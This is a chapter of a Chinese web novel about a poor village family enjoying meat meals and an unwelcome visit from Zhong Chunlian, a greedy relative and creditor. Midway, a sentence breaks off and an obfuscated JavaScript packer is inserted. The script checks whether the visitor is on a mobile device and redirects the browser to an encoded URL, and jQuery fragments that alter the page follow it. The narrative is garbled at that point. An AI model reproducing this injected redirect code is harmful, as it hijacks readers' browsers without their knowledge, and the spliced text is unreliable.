几个小孩一醒来就听到，人手发一块五工资的好消息。


    他们简直是高兴到跳起来，感觉自己一下子晋升成为富翁了，过年能买数不清的鞭炮炸炸。


    强强呲着大白牙，冲过来抱住了姚寒的大腿。


    “姚姐姐，我也有啊，谢谢你！你简直是我妈说的仙女！”


    要不是地方不够，估计他还能高兴得翻两个跟斗。


    “当然了，大家都有，你们帮了我大忙，忘了谁都不能忘记你们这群大功臣。”


    她用手胡噜了一把小孩的寸头，小孩发质软软的，一点不扎手倒像粗糙的毛球。


    白雅雅白俊明两小娃有些愣住，直到姚寒把钱递到他们手里，不真实感才随之减弱。


    他们小心翼翼地捏紧钱，认认真真地道谢，还不忘懂事地用眼神询问大人是否能收。


    “你姐给你俩的就收着吧。记住，要收好别弄丢了。”


    李秀荷对兄妹两挺放心的，完全不担心他们乱花钱，而且这钱根本在村里没处花，只要保管妥当就行了。


    “奶奶，我们会的！”


    得到大人同意的白雅雅，小小酒窝乐开花，跟哥哥窃窃私语地咬耳朵。


    “哥，你要藏在哪里啊？我不知道该怎么放？”


    小孩挠挠脸第一次有这样甜蜜的烦恼。


    “我打算藏在我的竹筒里。”白俊明的语气难得透露出孩童的纯粹快活，不再过于拘谨。


    他俩都有个家里人给做的竹筒，是春天白老根去竹林里锯了翠绿直挺的竹子，那些歪歪扭扭的部分不要，还有矮胖粗短的也不要，挑选留下最笔直修长的几筒竹节，保留竹筒上下的两个底部，再锯开顶部做成一个可活动的盖子，给小娃们雕上几刀喜欢的图案，天然就成了个再漂亮合适不过的储物罐。


    白老根偶尔用自己的农家手艺整点小玩意，每次都能收到兄妹俩的极大捧场，那些小玩意都被当成宝贝一般珍藏。


    “哥，你太聪明了，那我也把钱藏在自己的竹筒里。”白雅雅崇拜地看向哥哥。


    两小孩自以为交谈得小心隐秘，殊不知大家伙全都听到了，还好白家人不干没收小孩钱的那套，不然他们的钱，估计很快就要不翼而飞。


    几个小孩开心得冒泡，觉得这就是他们最幸福的瞬间。


    等李秀荷从厨房里端出来一大盆肉菜后，他们发现自己错了！


    他们的眼睛只顾直勾勾盯着，已经不敢相信这是真实的画面了。


    “酸菜五花肉炖粉条！！！”


    “奶奶你不是说还有十多天才到过年吗？”白雅雅忍不住把自动涌出的口水吞咽回肚子里。


    “你姐霸道得很，说是要天天吃肉，给你们养点肥膘。”李秀荷笑呵呵地招呼大家赶紧入座。


    一大盆玉米窝窝头，配上一盆主菜——酸菜猪肉炖粉条。


    晶莹剔透的五花肉颤颤巍巍抖动，酸菜的鲜酸味萦绕在鼻尖，不自觉刺激口水泛滥，粉条裹着油花，显得油乎乎滑溜溜，扑鼻的酸香肉香诱惑食客赶紧品尝一番它的美味。


    一声开动，所有人筷子矜持又迅猛地齐飞。


    一看大家，无不满脸餍足地埋头苦吃，贫瘠没有油水的肠胃渴望油和脂肪蛋白质太久了。中午那顿只是开了开胃，一入唇舌发现是自己奢求已久的美妙食物，油然而生的满足让激素迸发出超量的快乐因子。


    之后的几天，白家开始变着法子吃肉，酸菜猪肉吃完了，那红烧肉、香干鸡蛋炒肉片、豆腐肉沫......接着上场。


    还有骨头清汤面、骨头熬汤就着饼吃、腌了咸味的大骨头熬粥喝......


    下水也是好料子，煲汤放点下水一块熬，捞出来蘸酱油又香又软乎，特别合白老根口味，还可以清洗干净用蒜蓉干辣椒呛炒一碟，或者是拿姚寒特质的酱油卤料煮一锅，都香到让人恨不得连舌头都吞掉。


    过了几天好吃好睡的慵懒日子，大家的脸上气色都好多了，两个小孩和白清清脸上也长了些肉，让姚寒心里莫名升起养娃成功的欣慰感。


    “小寒，吃饭了。”


    远远传来李秀荷的开饭声，被当成白家功臣的姚寒，这几日里没机会干多少活。


    全被老的小的抢走了，把她往十指不沾阳春水的趋势养，就连厨房都不让靠近。


    幸好做了多年饭的李秀荷厨艺也十分不错，况且柴火大锅烧出来的家常饭菜天然就好吃。


    不过姚寒还是极力争取了烧火的活，暗戳戳在她做菜的时候，控制好或者提醒下火候，时不时再偷偷往锅里撒多点盐或者糖等调料，成功让李秀荷的厨艺更加大受好评。


    这一天，李秀荷做的是土豆焖五花肉配上玉米碴子粥，还没等大伙吃上几口，门外突然传来叫喊声。


    谁啊？姚寒心想，来白家这么久，她也没见什么人特意上门来拜访的。


    况且，非得挑在别人吃午饭的点吗？


    她郁闷地看了眼前冒着热气的菜，暗忖这人真不讲究。


    “老哥，秀荷，你们在家不？是我啊，给我开开门。”门外的声音高亢又尖利，极有穿透性地刺进人耳朵里。


    这把声音太有辨识度了，一听见就让白老根他们发愁，餐桌上的气氛都瞬间凝固。


    白清清的反应更强烈，姚寒第一次见到她脸上流露出如此不安的神情。


    门外的声音似乎感受到屋内的人不愿搭理，她的声音转而越发嘹亮。


    “清清，小明，赶紧出来给我开门啊！”


    “唉”，白老根叹了口气，似乎自言自语又像是跟大家解释，“躲也不是个办法。”说完脚步往门外走起。


    李秀荷有些生气，“老头子，你着什么急啊！”


    “不是我着急，而是你们都知道她的脾气，一个没顺心就会闹得沸沸扬扬，大家都没个安宁。”


    白老根顿了顿，担忧地看着两个孙女，“清清，小寒，你们先回屋里躲躲，先别出来，要是问起清清大家就说去县里同学家。”


    白清清倔强坐着不肯起身，“她估摸着又是冲我来的，我哪里躲得了。”


    但转头又神情恳切地劝姚寒，“小寒你回屋里避避，这人不是个好相处的。”


    姚寒丈二和尚摸不着头脑，不是？这是什么洪水猛兽，怎么让大家谈之色变？


    她疑惑地问，“这人谁啊？这么吓人吗？还非得躲起来？”


    白清清看她还在状况外，着急拉她的手臂想把人带进屋里，“来不及解释了，你赶紧进屋吧，听到啥动静都先别出来。”


    “哎，不是......”话都没来得及说完的姚寒，眼睁睁看着房门砰的一声被关紧，她手里还端着吃到一半的碗，就这么被赶进来了？


    唯一的好处就是，她在屋里也不耽误干饭，她认真低头再扒拉几口，饭菜凉了就不好吃了。


    既然他们都坚决让她不露面，她可要在里头好好观察下，到底是怎么一回事？


    于是她悄悄把门开了一道缝，确保自己透过门缝能听见看见外头情况。


    白老根踱着步出去的时候，李秀荷也没闲着，连忙收拾好桌上的饭菜，把五花肉土豆藏进厨房的橱柜里，桌上只余下几碗没喝完的玉米碴子粥。


    还不忘叮嘱两个小的，“赶紧把碗里的肉吃完，别让你们表姑奶看见。”


    白俊明和白雅雅一把将肉塞进嘴里，嘴鼓成一团，牙齿拼命使劲嚼。


    “老哥，我说你咋这么墨迹呢，都喊你们半天了，现在才给开门，我在屋外都快要被冻坏了。”女人一马当先走进来，嘴里嘟嘟囔囔地抱怨。


    白老根跟在她身后只笑笑不争辩。


    李秀荷听到忍不住回声，“原来是春莲啊，我说是谁呢，这么冷的天，没想到还有客人上门。风声大，我俩年纪大了耳朵不好使，一下子没留意。”


    “哎，嫂子，是我，这不好久没来了，想过来看看你跟老哥身体咋样。”钟春莲一点也不客套，进门就往饭桌旁踏实坐下。


    “这么不凑巧？还打扰你们吃饭了。”钟春莲双眼放光看着白老根夫妻俩，等着他们邀请。


    是挺巧的，白老根和李秀荷太了解她，这难道不是特地选的时间吗？


    换其他人哪敢中午去做客，只有她干得出这种专挑吃饭点，还两手空空上门的事。


    姚寒透过门缝，就算把人看扁了，她也得说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872576|159275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一句，这大娘很难得，是在这个年代能看到的富态人。


    女人应该是五十出头，身形丰满挺拔，跟白老根差不多一米七的个头。


    脸上挂着富态的腮边肉，乍一眼看上去，很是和气好相处。


    但多瞅两眼，上挑的尖细眉毛，跟泛着精光的三白眼会提醒你得留点心眼。


    白老根和李秀荷都不想吭声，但没有办法，这人再讨厌，也是危急时候对他们伸出援手的人，还是自家的债主呢。


    “是啊春莲，挺久没见你了，要不一起吃？就是粗茶淡饭，没太多好招待的。”李秀荷强扯嘴角笑着说。


    “不嫌弃，有什么好嫌弃的，你们穷也不是一天半天的，我还不了解嘛？”钟春莲迫不及待地夺过碗筷。


    白老根一家子对她无可奈何，这人说话不好听是共识，当没听见就是了。


    钟春莲给自己盛了满满一大碗，就着小咸菜，呼噜呼噜几口就喝掉了小半碗。


    她是真的不挑食，每次来不管给啥，都吃得香极了。


    垫了点肚子的她，开始有力气说闲话，“不是我说，老哥你们这粥真够寡淡的，桌上也没点油花，就小咸菜两碟，你们老人家吃不要紧，小孩这么吃怎么长身体，你看，清清脸上都没点肉。”


    她顿了顿，神色嫌弃，“不像我，给我家孙子天天吃一个鸡蛋是必须的。”


    没人搭她话茬，她也丝毫不在意，“说起来，本来我家峰峰一天吃两个鸡蛋，都不在话下的，都怪我家那个把钱花你们身上了，害的苦了我孙孙。”


    又来了，每次都是这般说辞，白清清眼里闪过怒火。


    自从表姑父借钱给白家后，钟春莲没法改变丈夫的想法，就老是来折腾白家，怨恨白家借走了他们钱，每次不从白家掏点“利息钱”，是不会善罢甘休的。


    表姑父心善，当时白清清父亲腿伤的太重，他看不过眼，瞒着妻子掏出了家里积蓄两百块。


    等这个消息被捅到钟春莲耳里后，瞬间炸了锅，钟春莲立马跑到白家闹，想拿回来自己的积蓄，当时闹得沸沸扬扬，谁也拦不住撒泼上吊的她。


    白家也觉得愧疚，给别人家带来了麻烦，可没办法，治腿将钱都花光了。


    还不止借了他们一家的钱，就算想先还上这笔债，但完全掏不出来。


    撒泼打滚也要不回钱的钟春莲，点子很多，学会了三不五时就上门，要么是吃喝，要么是拎走些东西，绝不走空。


    除此之外，她还收高利贷。


    白清清认为借钱收利息确实没错，但钟春莲不识数也不讲理，利息往高了喊，也没有计算凭证，就是没钱了，就来要几块钱花花。


    往往白老根他们刚存下点钱，一部分就会被钟春莲要走。


    如果只是钱财方面吃点亏，看在表姑父借钱帮衬的份上，白清清不会如此讨厌她。


    最令她生气的一回，要数钟春莲直接将隔壁村的男人带到白家，美其名曰给白清清介绍对象，大家都一片惊鄂，实在是太突然了，白清清甚至还不到要谈婚论嫁的年纪。


    钟春莲说得比唱得好听，将男人夸成朵花。


    后面是这男的嘴风不紧，透露出自己结过婚，生气万分的白家爷奶直接把人赶了出去。


    等周围村里人一八卦，才知道钟春莲介绍了个什么货色，不仅二婚头，上一任妻子还是被男人家暴至死，留下嗷嗷待哺的两个小孩。


    男人知道自己这情况很难找媳妇，就开出了高价的介绍费，钟春莲便是被五十块的好处费冲昏了头脑，想将白清清给哄骗着嫁过去，在她看来也算是能收回点借钱的损失。


    她失策在于，忘记了白家爷奶有多疼自家孙女，况且将孙女介绍给一个大十几岁的男人，是谁都不可能把小孩送进火坑！


    后来男人还恬不知耻地来过几次，疯狂纠缠白清清，发疯似地认为相看过，他自己也满意，这门婚事就谈定了，旁边钟春莲还不忘煽风点火。


    还好村长站出来支持公道，警告男人再纠缠不休就报警，这才把男人吓跑，但村里也多了些莫名其妙的闲话。


    白清清气极又后怕，要是被这种男人黏上，这辈子可就毁了！